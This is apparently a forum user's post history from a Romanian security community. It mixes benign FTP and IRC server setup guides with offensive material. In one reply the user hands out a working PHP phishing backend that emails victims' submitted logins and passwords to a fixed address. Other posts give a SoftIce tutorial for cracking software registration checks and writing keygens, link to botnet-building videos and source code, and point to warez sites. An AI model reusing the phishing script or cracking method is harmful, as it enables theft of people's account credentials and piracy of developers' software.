paxnWo
Active Members-
Posts
2743 -
Joined
-
Last visited
-
Days Won
18
Everything posted by paxnWo
-
http://rapidshare.com/files/5263213/DoS_5.5_Final.rar.html
-
ce sa intelegi ? cuvantul magic " presupunem "
-
Nu am cunostintele necesare , prin urmare folosesc un limbaj comun si simplu. Daca vrei sa iti creezi propria ta aplicatie de IM , cum procedezi si ce limbaj folosesti ? Poti sa mergi pe principiul pe care funcioneaza keyloggerele ? Mihai da drumul la client , Adrian da drumul la client , Mihai introduce IPul lui Adrian si da Connect , Adrian da accept , iar apoi chat chat chat Dar daca tot vorbim de Chat Client , ai nevoie si de un server ?
-
welcome . use these : http://www.rstcenter.com/forum/forumdisplay.php?f=20 http://www.rstcenter.com/forum/forumdisplay.php?f=29 http://www.rstcenter.com/forum/search.php?do=process
-
mi-e frica sa nu se transforme intr-un dark market =] ma abtin .
-
Cum spargi phpbb 2.06 (credits:Aft3rDark)
paxnWo replied to Aft3rDark's topic in Tutoriale in romana
ultima vers e phpBB 3.0.3 nimeni nu mai foloseste 2.06 . cauta pe google cookie editor -
asta pana si pe ie6 iti da warning daca vrei sa activezi activex . plm e bun pentru tampitii care dau allow
-
vianu sau viteazu din bucuresti ? nu conteaza , cantemir vi-o da pe la spate welcome .
-
Vmware si Radmin! Please read me..
paxnWo replied to sawyer's topic in Sisteme de operare si discutii hardware
merge si cum a spus el mi se pare ca functioneaza prin port forwording -
de ce sa dau link catre un forum care e down pentru nu stiu cand ? am trimis mail la ruptii aia cu hostul ,nu am primit nici mail , nici telefon . codex nush ce plm face , nu l-am mai vazut pe mess ...
-
serios ? poti downloada filme jocuri si muzica de pe trackere sau de pe warez . filelist.ro scenefz.ro warezbb.ro warezforum.info
-
Cum sa facem o pagina de phishing la orice site.
paxnWo replied to nullbyte's topic in Tutoriale in romana
ai aici un login.php universal pt orice pagina . <?php $message .= "account & password \n"; $message .= "--------------------------------------------------------------------------\n"; $message .= "Account : ".$_POST['login']."\n"; $message .= "Password " .$_POST['passwd']."\n"; $message .= "------------------------ Created by Bolfescu --------------\n"; $recipient = "aaa@yahoo.com"; $subject = "account"; $headers = "From: "; $headers .= $_POST['eMailAdd']."\n"; $headers .= "MIME-Version: 1.0\n"; {$a = mail($recipient,$subject,$message,$headers);} if ($a) { header("Location: error.html"); } else { echo "ERROR! Please go back and try again."; } ?> a se observa ca am pastrat credite =) in rest sper ca te descurci. vezi ca deja ai triple posting -
Roman acuzat de fraude prin phishing de peste 700.000 de dolari
paxnWo replied to d3v1l's topic in Stiri securitate
stai tu linistit ca atunci cand te cauta serviciile secrete sau fbi-ul , poti sa schimbi si 20 ip'uri cred eu ca singura lor sansa este un proxy care nu salveaza loguri si bineinteles sa taca dracului din gura -
aviz amatorilor ... nu se face warez pe forum . va duceti in alta parte daca vreti softuri piratate , plus ca ultima versiune e 4.21.1004
-
triburile nu e rpg
-
tu esti inapoiat ? ai vazut linkul postat de andreea mai sus ? take a look ! Virustotal. MD5: f59fc3e6e8ed45d0ad9a3cb78223a867 Constructor.Win32.YahooSpy.f Spyware.1102 KIT/Yahoospy.F
-
This may not be the definitive explanation, as the title claims, however, I've heard enough good feedback and seen this document linked in enough places to know that quite a few people have found it to be useful. I am always looking for ways to improve things though, and if you find something that is not quite clear or needs more explanation, please let me know! Recent additions to this document include the examples of both active and passive command line FTP sessions. These session examples should help make things a bit clearer. They also provide a nice picture into what goes on behind the scenes during an FTP session. Now, on to the information... The Basics FTP is a TCP based service exclusively. There is no UDP component to FTP. FTP is an unusual service in that it utilizes two ports, a 'data' port and a 'command' port (also known as the control port). Traditionally these are port 21 for the command port and port 20 for the data port. The confusion begins however, when we find that depending on the mode, the data port is not always on port 20. Active FTP In active mode FTP the client connects from a random unprivileged port (N > 1024) to the FTP server's command port, port 21. Then, the client starts listening to port N+1 and sends the FTP command PORT N+1 to the FTP server. The server will then connect back to the client's specified data port from its local data port, which is port 20. From the server-side firewall's standpoint, to support active mode FTP the following communication channels need to be opened: FTP server's port 21 from anywhere (Client initiates connection) FTP server's port 21 to ports > 1024 (Server responds to client's control port) FTP server's port 20 to ports > 1024 (Server initiates data connection to client's data port) FTP server's port 20 from ports > 1024 (Client sends ACKs to server's data port) In step 1, the client's command port contacts the server's command port and sends the command PORT 1027. The server then sends an ACK back to the client's command port in step 2. In step 3 the server initiates a connection on its local data port to the data port the client specified earlier. Finally, the client sends an ACK back as shown in step 4. The main problem with active mode FTP actually falls on the client side. The FTP client doesn't make the actual connection to the data port of the server--it simply tells the server what port it is listening on and the server connects back to the specified port on the client. From the client side firewall this appears to be an outside system initiating a connection to an internal client--something that is usually blocked. Active FTP Example Below is an actual example of an active FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold. There are a few interesting things to consider about this dialog. Notice that when the PORT command is issued, it specifies a port on the client (192.168.150.80) system, rather than the server. We will see the opposite behavior when we use passive FTP. While we are on the subject, a quick note about the format of the PORT command. As you can see in the example below it is formatted as a series of six numbers separated by commas. The first four octets are the IP address while the second two octets comprise the port that will be used for the data connection. To find the actual port multiply the fifth octet by 256 and then add the sixth octet to the total. Thus in the example below the port number is ( (14*256) + 178), or 3762. A quick check with netstat should confirm this information. testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2 Connected to testbox2.slacksite.com. 220 testbox2.slacksite.com FTP server ready. Name (testbox2:slacker): slacker ---> USER slacker 331 Password required for slacker. Password: TmpPass ---> PASS XXXX 230 User slacker logged in. ---> SYST 215 UNIX Type: L8 Remote system type is UNIX. Using binary mode to transfer files. ftp> ls ftp: setsockopt (ignored): Permission denied ---> PORT 192,168,150,80,14,178 200 PORT command successful. ---> LIST 150 Opening ASCII mode data connection for file list. drwx------ 3 slacker users 104 Jul 27 01:45 public_html 226 Transfer complete. ftp> quit ---> QUIT 221 Goodbye. Passive FTP In order to resolve the issue of the server initiating the connection to the client a different method for FTP connections was developed. This was known as passive mode, or PASV, after the command used by the client to tell the server it is in passive mode. In passive mode FTP the client initiates both connections to the server, solving the problem of firewalls filtering the incoming data port connection to the client from the server. When opening an FTP connection, the client opens two random unprivileged ports locally (N > 1024 and N+1). The first port contacts the server on port 21, but instead of then issuing a PORT command and allowing the server to connect back to its data port, the client will issue the PASV command. The result of this is that the server then opens a random unprivileged port (P > 1024) and sends the PORT P command back to the client. The client then initiates the connection from port N+1 to port P on the server to transfer data. From the server-side firewall's standpoint, to support passive mode FTP the following communication channels need to be opened: FTP server's port 21 from anywhere (Client initiates connection) FTP server's port 21 to ports > 1024 (Server responds to client's control port) FTP server's ports > 1024 from anywhere (Client initiates data connection to random port specified by server) FTP server's ports > 1024 to remote ports > 1024 (Server sends ACKs (and data) to client's data port) In step 1, the client contacts the server on the command port and issues the PASV command. The server then replies in step 2 with PORT 2024, telling the client which port it is listening to for the data connection. In step 3 the client then initiates the data connection from its data port to the specified server data port. Finally, the server sends back an ACK in step 4 to the client's data port. While passive mode FTP solves many of the problems from the client side, it opens up a whole range of problems on the server side. The biggest issue is the need to allow any remote connection to high numbered ports on the server. Fortunately, many FTP daemons, including the popular WU-FTPD allow the administrator to specify a range of ports which the FTP server will use. See Appendix 1 for more information. The second issue involves supporting and troubleshooting clients which do (or do not) support passive mode. As an example, the command line FTP utility provided with Solaris does not support passive mode, necessitating a third-party FTP client, such as ncftp. With the massive popularity of the World Wide Web, many people prefer to use their web browser as an FTP client. Most browsers only support passive mode when accessing ftp:// URLs. This can either be good or bad depending on what the servers and firewalls are configured to support. Passive FTP Example Below is an actual example of a passive FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold. Notice the difference in the PORT command in this example as opposed to the active FTP example. Here, we see a port being opened on the server (192.168.150.90) system, rather than the client. See the discussion about the format of the PORT command above, in the Active FTP Example section. testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2 Connected to testbox2.slacksite.com. 220 testbox2.slacksite.com FTP server ready. Name (testbox2:slacker): slacker ---> USER slacker 331 Password required for slacker. Password: TmpPass ---> PASS XXXX 230 User slacker logged in. ---> SYST 215 UNIX Type: L8 Remote system type is UNIX. Using binary mode to transfer files. ftp> passive Passive mode on. ftp> ls ftp: setsockopt (ignored): Permission denied ---> PASV 227 Entering Passive Mode (192,168,150,90,195,149). ---> LIST 150 Opening ASCII mode data connection for file list drwx------ 3 slacker users 104 Jul 27 01:45 public_html 226 Transfer complete. ftp> quit ---> QUIT 221 Goodbye. Summary The following chart should help admins remember how each FTP mode works: Active FTP : command : client >1024 -> server 21 data : client >1024 <- server 20 Passive FTP : command : client >1024 -> server 21 data : client >1024 -> server >1024
-
Well, since many of us have always wondered this, here it is. Long and drawn out. Also, before attempting this, realize one thing; You will have to give up your time, effort, bandwidth, and security to have a quality ftp server. That being said, here it goes. First of all, find out if your IP (Internet Protocol) is static (not changing) or dynamic (changes everytime you log on). To do this, first consider the fact if you have a dial up modem. If you do, chances are about 999 999 out of 1 000 000 that your IP is dynamic. To make it static, just go to a place like h*tp://www.myftp.org/ to register for a static ip address. You'll then need to get your IP. This can be done by doing this: Going to Start -> Run -> winipcfg or www.ask.com and asking 'What is my IP?' After doing so, you'll need to download an FTP server client. Personally, I'd recommend G6 FTP Server, Serv-U FTPor Bullitproof v2.15 all three of which are extremely reliable, and the norm of the ftp world. You can download them on this site: h*tp://www.liaokai.com/softw_en/d_index.htm First, you'll have to set up your ftp. For this guide, I will use step-by-step instructions for G6. First, you'll have to go into 'Setup -> General'. From here, type in your port # (default is 21). I recommend something unique, or something a bit larger (ex: 3069). If you want to, check the number of max users (this sets the amount of simultaneous maximum users on your server at once performing actions - The more on at once, the slower the connection and vice versa). The below options are then chooseable: -Launch with windows -Activate FTP Server on Start-up -Put into tray on startup -Allow multiple instances -Show "Loading..." status at startup -Scan drive(s) at startup -Confirm exit You can do what you want with these, as they are pretty self explanatory. The scan drive feature is nice, as is the 2nd and the last option. From here, click the 'options' text on the left column. To protect your server, you should check 'login check' and 'password check', 'Show relative path (a must!)', and any other options you feel you'll need. After doing so, click the 'advanced' text in the left column. You should then leave the buffer size on the default (unless of course you know what you're doing ), and then allow the type of ftp you want. Uploading and downloading is usually good, but it's up to you if you want to allow uploads and/or downloads. For the server priority, that will determine how much conventional memory will be used and how much 'effort' will go into making your server run smoothly. Anti-hammering is also good, as it prevents people from slowing down your speed. From here, click 'Log Options' from the left column. If you would like to see and record every single command and clutter up your screen, leave the defaults. But, if you would like to see what is going on with the lowest possible space taken, click 'Screen' in the top column. You should then check off 'Log successful logins', and all of the options in the client directry, except 'Log directory changes'. After doing so, click 'Ok' in the bottom left corner. You will then have to go into 'Setup -> User Accounts' (or ctrl & u). From here, you should click on the right most column, and right click. Choose 'Add', and choose the username(s) you would like people to have access to. After giving a name (ex: themoonlanding), you will have to give them a set password in the bottom column (ex: wasfaked). For the 'Home IP' directory, (if you registered with a static server, check 'All IP Homes'. If your IP is static by default, choose your IP from the list. You will then have to right click in the very center column, and choose 'Add'. From here, you will have to set the directory you want the people to have access to. After choosing the directory, I suggest you choose the options 'Read', 'List', and 'Subdirs', unless of course you know what you're doing . After doing so, make an 'upload' folder in the directory, and choose to 'add' this folder seperately to the center column. Choose 'write', 'append', 'make', 'list', and 'subdirs'. This will allow them to upload only to specific folders (your upload folder). Now click on 'Miscellaneous' from the left column. Choose 'enable account', your time-out (how long it takes for people to remain idle before you automatically kick them off), the maximum number of users for this name, the maximum number of connections allowed simultaneously for one ip address, show relative path (a must!), and any other things at the bottom you'd like to have. Now click 'Ok'. **Requested** From this main menu, click the little boxing glove icon in the top corner, and right click and unchoose the hit-o-meter for both uploads and downloads (with this you can monitor IP activity). Now click the lightning bolt, and your server is now up and running. Post your ftp info, like this: 213.10.93.141 (or something else, such as: 'f*p://example.getmyip.com') User: *** (The username of the client) Pass: *** (The password) Port: *** (The port number you chose) So make a FTP and join the FTP section Listing The Contents Of A Ftp: Listing the content of a FTP is very simple. You will need FTP Content Maker, which can be downloaded from here: ht*p://www.etplanet.com/download/application/FTP%20Content%20Maker%201.02.zip 1. Put in the IP of the server. Do not put "ftp://" or a "/" because it will not work if you do so. 2. Put in the port. If the port is the default number, 21, you do not have to enter it. 3. Put in the username and password in the appropriate fields. If the login is anonymous, you do not have to enter it. 4. If you want to list a specific directory of the FTP, place it in the directory field. Otherwise, do not enter anything in the directory field. 5. Click "Take the List!" 6. After the list has been taken, click the UBB output tab, and copy and paste to wherever you want it. If FTP Content Maker is not working, it is probably because the server does not utilize Serv-U Software. If you get this error message: StatusCode = 550 LastResponse was : 'Unable to open local file test-ftp' Error = 550 (Unable to open local file test-ftp) Error = Unable to open local file test-ftp = 550 Close and restart FTP Content Maker, then try again. error messages: 110 Restart marker reply. In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm Where yyyy is User-process data stream marker, and mmmm server's equivalent marker (note the spaces between markers and "="). 120 Service ready in nnn minutes. 125 Data connection already open; transfer starting. 150 File status okay; about to open data connection. 200 Command okay. 202 Command not implemented, superfluous at this site. 211 System status, or system help reply. 212 Directory status. 213 File status. 214 Help message. On how to use the server or the meaning of a particular non-standard command. This reply is useful only to the human user. 215 NAME system type. Where NAME is an official system name from the list in the Assigned Numbers document. 220 Service ready for new user. 221 Service closing control connection. Logged out if appropriate. 225 Data connection open; no transfer in progress. 226 Closing data connection. Requested file action successful (for example, file transfer or file abort). 227 Entering Passive Mode (h1,h2,h3,h4,p1,p2). 230 User logged in, proceed. 250 Requested file action okay, completed. 257 "PATHNAME" created. 331 User name okay, need password. 332 Need account for login. 350 Requested file action pending further information. 421 Too many users logged to the same account 425 Can't open data connection. 426 Connection closed; transfer aborted. 450 Requested file action not taken. File unavailable (e.g., file busy). 451 Requested action aborted: local error in processing. 452 Requested action not taken. Insufficient storage space in system. 500 Syntax error, command unrecognized. This may include errors such as command line too long. 501 Syntax error in parameters or arguments. 502 Command not implemented. 503 Bad sequence of commands. 504 Command not implemented for that parameter. 530 Not logged in. 532 Need account for storing files. 550 Requested action not taken. File unavailable (e.g., file not found, no access). 551 Requested action aborted: page type unknown. 552 Requested file action aborted. Exceeded storage allocation (for current directory or dataset). 553 Requested action not taken. File name not allowed. Active FTP vs. Passive FTP, a Definitive Explanation Introduction One of the most commonly seen questions when dealing with firewalls and other Internet connectivity issues is the difference between active and passive FTP and how best to support either or both of them. Hopefully the following text will help to clear up some of the confusion over how to support FTP in a firewalled environment.
-
http://www.good-tutorials.com/ in jur de 20k de tutoriale .
-
Botnet Videos : Building a botnet Botnet Attacks Botnets Defences Botnet source code_overachievers Adding Exploit http://rapidshare.com/files/92971605/Botnets.part01.rar http://rapidshare.com/files/92978512/Botnets.part02.rar http://rapidshare.com/files/92984094/Botnets.part03.rar http://rapidshare.com/files/93020483/Botnets.part04.rar http://rapidshare.com/files/93023585/Botnets.part05.rar
-
Step 3: Leave SoftIce and press OK. This will put you back in Softice. You will be inside the GetDlgItemTextA function. To get out of it press F11. You should see the following code : mov esi, [esp + 0C] push 00000064 push 0040C3A0 :<--On this memory location the NAME we entered will be stored. mov edi, [uSER32!GetDlgItemTextA] :<--Load edi with adress of GetDlgItemTextA push 00004EE9 push esi call edi :<-- Call GetDlgItemTextA push 00000064 :<-- (you should be here now) push 0040C210 :<--On this memory location the NUMBER we entered will be stored push 00004EEA push esi call edi :<-- Call GetDlgItemTextA We see that the function GetDlgItemTextA is called twice in this code fragment. The first call has already happened. With ED 40C3A0 we can check that the name we entered is stored on that location. To allow the program to read in the number we entered we type G and enter. Now we are inside the Get- DlgItemTextA function again and we press f11 to get out of it. We check memory location 40C210 and we see the number we entered is stored there. Now we know the locations were the name and the number are stored,we note those down! Step 4: Ok, what next? We now know where in memory the name and the number are stored. We need to find out what the program does with those values. In order to do that we could set breakpoints on those memory locations to see where they are read. But in this case it wont be necessary. The answer is right after the above code : push 0040C210 :<--save the location of the number we entered (as a parameter for the next call) call 00404490 :<-- call this unknown function add esp, 00000004 mov edi, eax :<-- save EAX (hmmmm) We see a function being called with the number-location as a parameter. We could trace into the function and see what it does, but that is not needed. With your experience of the Swiftsearch example you should be able to guess what this function does. It calculates the numerical value of the registration number and puts it in EAX. To be sure we step further using F10 until we are past the call and check the contents of EAX (with ? EAX). In my case it showed : 00003039 0000012345 "09". Knowing that EDI contains our registration number we proceed: push 0040C3A0 :<-- save the location of the name we entered (as a parameter for the next call) push 00409080 :<-- save an unknown memory-location (as a parameter for the next call) call 004043B0 :<--call to an unknown function add esp, 00000008 cmp edi, eax :<--compare EDI (reg # we entered) with EAX (unknown, since the previous call changed it) jne 004018A1 :<--jump if not equal We see that a function is called with two parameters. One of the parameters is the location of the name we entered. The other we dont know, but we can find out with ED 409080. We see the text 'Ize'. This function calculates the right registration number using those two parameters. If you just want to crack this program, you can place a breakpoint right after the call and check the contents of EAX. It will contain the right registration number. But since we want to know HOW the reg. # is calculated we will trace inside the function (using T). We will then try to find out HOW the contents of EAX got in there. Step 5: Once inside the interesting function you will see that we are dealing with a rather long function. It wont be necessary for me to include the complete listing of this function, because we wont need all of it to make our key-gen. But in order find out which part of the code is essential for the computation of the right registration number, you have to trace STEP by STEP and figure out what EXACTLY is going on! Afther doing this i found out that the first part of the function computes some kind of "key". Then this "key" is stored in memory and in that way passed on to the second part of the function. The second part of the function then computes the right registration number, based on this "key" AND the name we entered. The code that is essential and that we need for our key-gen is the following: ( Note that before the following code starts, the registers that are used will have the following values: EBX will point to the first letter of the name we entered, EDX will be zero, EBP will be zero, The "key" that we talked about earlier is stored in memory location 0040B828 and will have 0xA4CC as its initial value. ) :00404425 movsx byte ptr edi, [ebx + edx] :<-- Put first letter of the name in EDI :00404429 lea esi, [edx+01] :<-- ESI gets the "letter-number" :0040442C call 00404470 :<-- Call function :00404431 imul edi, eax :<-- EDI=EDI*EAX (eax is the return value of the the previous call) :00404434 call 00404470 :<-- Call function :00404439 mov edx, esi :0040443B mov ecx, FFFFFFFF :00404440 imul edi, eax :<-- EDI=EDI*EAX (eax is the return value of the previous call) :00404443 imul edi, esi :<-- EDI=EDI*ESI ( esi is the number of the letter position) :00404446 add ebp, edi :<-- EBP=EBP+EDI (beware that EBP will finally contain the right reg#) :00404448 mov edi, ebx :<--these lines compute the lenght of the name we entered :0040444A sub eax, eax :<--these lines compute the lenght of the name we entered :0040444C repnz :<--these lines compute the lenght of the name we entered :0040444D scasb :<--these lines compute the lenght of the name we entered :0040444E not ecx :<--these lines compute the lenght of the name we entered :00404450 dec ecx :<-- ECX now contains the lenght of the name :00404451 cmp ecx, esi :00404453 ja 00404425 :<-- If its not the end of the name , go do the same with the next letter :00404455 mov eax, ebp :<-- SAVE EBP TO EAX !!!! :00404457 pop ebp :00404458 pop edi :00404459 pop esi :0040445A pop ebx :0040445B ret _____ :00404470 mov eax, [0040B828] :<-- Put "key" in EAX :00404475 mul eax, eax, 015A4E35 :<-- EAX=EAX * 15A4E35 :0040447B inc eax :<-- EAX=EAX + 1 :0040447C mov [0040B828], eax :<-- Replace the "key" with the new value of EAX :00404481 and eax, 7FFF0000 :<-- EAX=EAX && 7FFF0000 :00404486 shr eax, 10 :<-- EAX=EAX >>10 :00404489 ret The above code consists of a loop that goes trough all the letters of the name we entered. With each letter some value is calculated, all these values are added up together (in EBP). Then this value is stored in EAX and the function RETurns. And that was what we were looking for, we wanted to know how EAX got its value! Step 6: Now to make a key-gen we have to translate the above method of calculating the right reg# into a c program. It could be done in the following way : (Note : I am a bad c programmer I just began to use this language...) #include #include main() { char Name[100]; int NameLength,Offset; unsigned long Letter,DummyA; unsigned long Key = 0xa4cc; unsigned long Number = 0; printf("Ize 2.04 crack by JM-DG\n"); printf("Enter your name: "); gets(Name); NameLength=strlen(Name); for (Offset=0;Offset } Credits: JM-DG
-
How to make Keygens. Long and detailed tutorial : Tools! For tools you need a minimum of debugger like SoftIce for Windows (hence WinIce), and a C compiler with Dos libraries. Content! In this tutorial I will show how to make a key-gen for Ize and Swiftsearch. The protection that these programs use is the well known Enter-Name-and-Registration-Number method. After selecting 'register', a window pops up where you can enter your name and your registration number. The strategy here is to find out where in memory the data you enter is stored and then to find out what is done with it. Before you go on make sure you configure the SoftIce dat file correctly. Tutorial number 1: Scanline Swiftsearch 2.0! Swiftsearch is a useful little program that you can use to search on the web. I will explain step by step how to crack it. step 1. Start the program step 2: Choose register from the menus. You will now get a window where you can enter your name and your registration number. step 3: Enter SoftIce (ctrl-d) step 4: We will now set a breakpoint on functions like GetWindowText(a) and GetDlgItemText(a) to find out where in memory the data that we just entered is stored. The function that is used by this program is GetDlgItemTexta (trial and error, just try yourself so, in SoftIce type BPX GetDlgItemTexta and exit SoftIce with the g command. step 5: Now type a name and a registration number (I used jmdg and 12345) and press OK, this will put you back in SoftIce. Since you are now inside the GetDlgItemTexta function press F11 to get out of it. You should see the following code: lea eax, [ebp-2C] :<--- we are looking for this location push eax push 00000404 push [ebp+08] call [uSER32!GetDlgItemTextA] mov edi, eax :<--- eax has the length of the string and is stored in edi for later usage. We see that EAX is loaded with a memory address and then pushed to the stack as a parameter for the function GetDlgItemTextA. Since the function GetDlgItemTextA is already been run we can look at EBP-2c (with ED EDP-2c) and see that the name we entered is there. Now we know where the name is stored in memory, normally it would be wise to write that address down, but we will see that in this case it wont be necessary. So, what next? Now we have to allow the program to read the registration number we entered. Just type g and return and when back in SoftIce press F11. You should see the following code: push 0000000B lea ecx, [ebp-18] : <--So, ebp-18 is where the reg. number push ecx : is stored. push 0000042A push [ebp+08] call [uSER32!GetDlgItemTextA] mov ebx, eax : <--save the lenght of string in EBX test edi, edi : <--remember EDI had the lenght of the jne 00402FBF : name we entered? We see that the registration number is stored at location EBP-18 , check it with ED EBP-18. Again, normally it would be wise to note that address down. Also we see that it is checked if the length of the name we gave was not zero. If it is not zero the program will continue. Step 6: Ok, now we know where the data we entered is stored in memory. What next? Now we have to find out what is DONE with it. Usually it would we wise to put breakpoints on those memory locations and find out where in the program they are read. But in this case the answer is just a few F10's away. Press F10 until you see the following code : cmp ebx, 0000000A :<--remember EPX had the length of the je 00402FDE : registration code we entered? These two lines are important. They check if the length of the registration code we entered is equal to 10. If not the registration number will be considered wrong already. The program wont even bother to check it. Modify EBX or the FLAG register in the register window to allow the jump. Continue Pressing F10 until you get to the following code (note that the adresses you will see could be different) : :00402FDE xor esi, esi :<-- Clear ESI :00402FE0 xor eax, eax :<-- Clear EAX :00402FE2 test edi, edi :00402FE4 jle 00402FF2 :00402FE6 movsx byte ptr ecx, [ebp + eax - 2C] :<-- ECX is loaded with a letter of the name we entered. :00402FEB add esi, ecx :<-- Add the letter to ESI :00402FED inc eax :<-- Increment EAX to get next letter :00402FEE cmp eax, edi :<-- Did we reach the end of the string? :00402FF0 jl 00402FE6 :<-- If not, go get the next letter. Well, we see that the program adds together all the letters of the name we entered. Knowing that ESI contains the sum of the letters, lets continue and find out what the program does with that value : :00402FF2 push 0000000A :00402FF4 lea eax, [ebp-18] :<-- Load EAX with the address of the reg. number we entered :00402FF7 push 00000000 :00402FF9 push eax :<-- Push EAX (as a parameter for the following function) :00402FFA call 00403870 :<-- Well, what do you think this function does? :00402FFF add esp, 0000000C :00403002 cmp eax, esi :<-- Hey! :00403004 je 00403020 We see that a function is called and when RETurned ESI is compared with EAX. Hmm, lets look at what's in EAX. A '? EAX' reveals : 00003039 0000012345 "09" Bingo. That's what we entered as the registration number. It should have been what's inside ESI. And we know what's inside ESI, the sum of the letters of the name we entered! Step 7: Now we know how the program computes the registration code we can make a key-gen. But we should not forget that the program checks also that the registration number has 10 digits. A simple C code that will compute the registration number for this program could look like this: #include #include main() { char Name[100]; int NameLength,Offset; long int Reg = 0, Dummy2 = 10; int Dummy = 0; int LengtDummy = 1; int Lengt , Teller; printf("Scanline SwiftSearch 2.0 crack by JM-DG.\n"); printf("Enter your name: "); gets(Name); NameLength=strlen(Name); /* the for lus calculates the sum of the letters in Name */ /* and places that value in Reg */ for (Offset=0;Offset /* Then print the registration number */ printf("%lu\n", Reg); } Tutorial number 2 Ize 2.04 from Gadgetware Ize from Gadgetware is a cute little program that will put a pair of eyes on your screen which will follow your mousepointer. It has a register function where you can enter your name and a registration number. The strategy in this case is still the same : Find out where in memory the entered information is stored and then find out what is done with that information. Step 1: Start Ize. Chose register and enter a name and a number. I used again 'jmdg' and '12345'. Step 2: Enter (CTRL-D) Softice and set a breakpoint on GetDlgItemTextA.
-
Setting up an IRC server with services on Linux
paxnWo replied to paxnWo's topic in Tutoriale in engleza
listen *:6697 { options { ssl; clientsonly; }; }; listen *:8067; listen *:6667; I will not go into what each bit meens, but just trust me and change it to: listen YOURIP:6667 { options { }; }; listen YOURIP:7000; Where I put YOURIP above, you must enter the IP that the shell provider gave you. This will be a 4 section number separated with .s. The listen *:7000; is for when we link with Anope services later. Next is the link block. This will give details as to how the IRCD will connect with services. Scroll down until you see: link hub.mynet.com { username *; hostname 1.2.3.4; bind-ip *; port 7029; hub *; password-connect "LiNk"; password-receive "LiNk"; class servers; options { /* Note: You should not use autoconnect when linking services */ autoconnect; ssl; zip; }; }; In this tutorial we will run services on the same server and on port 7000. For this you will need to change the link block to the following: link services.YOURNET.COM { username *; hostname YOURIP; bind-ip YOURIP; port 7000; hub *; password-connect "PASSWORD"; password-receive "PASSWORD"; class servers; options { }; }; You must change YOURNET.COM to whatever the name of your network is. YOURIP muts be changed to the IP given to you by your shell provider and PASSWORD must be changed to a hard to guess password of your choice. Now scroll down until you see: tld { mask *@*.fr; motd "IRCD.motd.fr"; rules "IRCD.rules.fr"; }; This is a really stupid ~censored~ bit of the conf about using different messages for different countries. Just delete this whole bit from tld { to };. Now the easy "pretty pretty stuff". Scroll down to: set { network-name "ROXnet"; default-server "IRC.roxnet.org"; services-server "services.roxnet.org"; stats-server "stats.roxnet.org"; help-channel "#ROXnet"; hiddenhost-prefix "rox"; And change the bit in the "s to your own network details. For example: set { network-name "PchowtosNet"; default-server "IRC.pchowtos.co.uk"; services-server "services.pchowtos.co.uk"; stats-server "stats.pchowtos.co.uk"; help-channel "#help"; hiddenhost-prefix "pchowtos"; Just under that you will see: cloak-keys { "aoAr1HnR6gl3sJ7hVz4Zb7x4YwpW"; "and another one"; "and another one"; }; This is to do with cloaking the IPs of users. You need to edit the 2 lines shown here. You can make up your own keys, but unreal tends to ~censored~ about it so feel free to use the example shown below: cloak-keys { "aoAr1HnR6gl3sJ7hVz4Zb7x4YwpW"; "ksWj9ImW0k20dO3cWm9Ej2g9RbdG"; "phTl4EiF7n26sI0jDw2Dn1c6RlfK"; }; Next to set the final few details. Change: kline-address "set.this.email"; To something like: kline-address "phil@pchowtos.co.uk"; And FINALLY you're all done. Save this config file and re-upload it to the server in the Unreal3.2 directory. Now type: ./unreal start To start your IRC server. Now just connect to it from your IRC client. And now for services... In the shell you need to get into the services directory. To do this type: cd services Once in this directory we need to configure the services. To do this type: ./Config You will be asked: In what directory do you want the binaries to be installed? Copy out the contents of the square brackets and follow it with /bin e.g. if the value in the square brackets is: /usr/home/myIRC/services You would type: /usr/home/myIRC/services/bin Now press enter You MAY be asked: DIRECTORY does not exist. Create it? Just press enter You will be asked: Where do you want the data files to be installed? Just press enter You MAY be asked: DIRECTORY does not exist. Create it? Just press enter You will be asked: Which group should all Services data files be owned by? Just press enter You will be asked: What should the default umask for data files be (in octal)? Just press enter You will be asked: Do you want to use the MD5 message-digest algorithm to encrypt passwords? Just press enter You will be asked: Allow anope to automatically check for mysql libaries? Type NO and press enter Anope will now configure itself. Once this is done you must type: make If you get an error such as: make: Permission denied you must type: gmake Anope will now compile. Now we must bake the modules by typing: make install if this errors you must type gmake install. Once this is finished we are all ready to roll. Now we must do the config. First step is to copy the example config file into the bin directory. First change directory to the bin directory by typing: cd bin Next we must rename example.conf to services .conf. To do this type: mv example.conf services.conf Now we must do the config like we did with Unreal. Again best to download it via FTP then open it up in wordpad. Once this is done we will being... First of all, scroll down a little bit until you see a list of IRCDs. Just under this you will see: #IRCDModule "unreal32" Because we are using unreal3.2 in this tutorial you can just uncomment this line (remove the # from the front so it reads: IRCDModule "unreal32" Now scoll down to the "Remote server configuration" section. In this you will see the line: RemoteServer localhost 6667 "mypass" This must be changed to the details you entered in the link block for the unreal config file: RemoteServer YOURIP 7000 "PASSWORD" YOURIP being the ip you were given by your shell provider and PASSWORD being the password you entered in the unreal config. Next scroll down to the Services identification and pseudoclient names section. In this you need to change 3 values: ServerName "services.localhost.net" ServerDesc "Services for IRC Networks" ServiceUser "services@localhost.net" These can be changed to something like: ServerName "services.pchowtos.co.uk" ServerDesc "Services for pchowtos" ServiceUser "services@pchowtos.co.uk" Next scroll down to: NetworkName "LocalNet" Change this to your network name you entered in the Unreal config e.g.: NetworkName "PchowtosNet" Next scroll down until you see: These are to do with encryption and MUST be changed. You must first remove the #s from the beginning of each line and replace the 7 digit numbers with other real numbers (no 0s at the start). e.g. UserKey1 8362804 UserKey2 1387025 UserKey3 9693746 Now scroll down to: SendFrom services@localhost.net Replace this with a real mail address e.g. SendFrom services@pchowtos.co.uk Now scroll down quite a way until you see: #ServicesRoot "dengel anope" This gives the registered nicknames of those who are services roots. Services roots can do everything on the 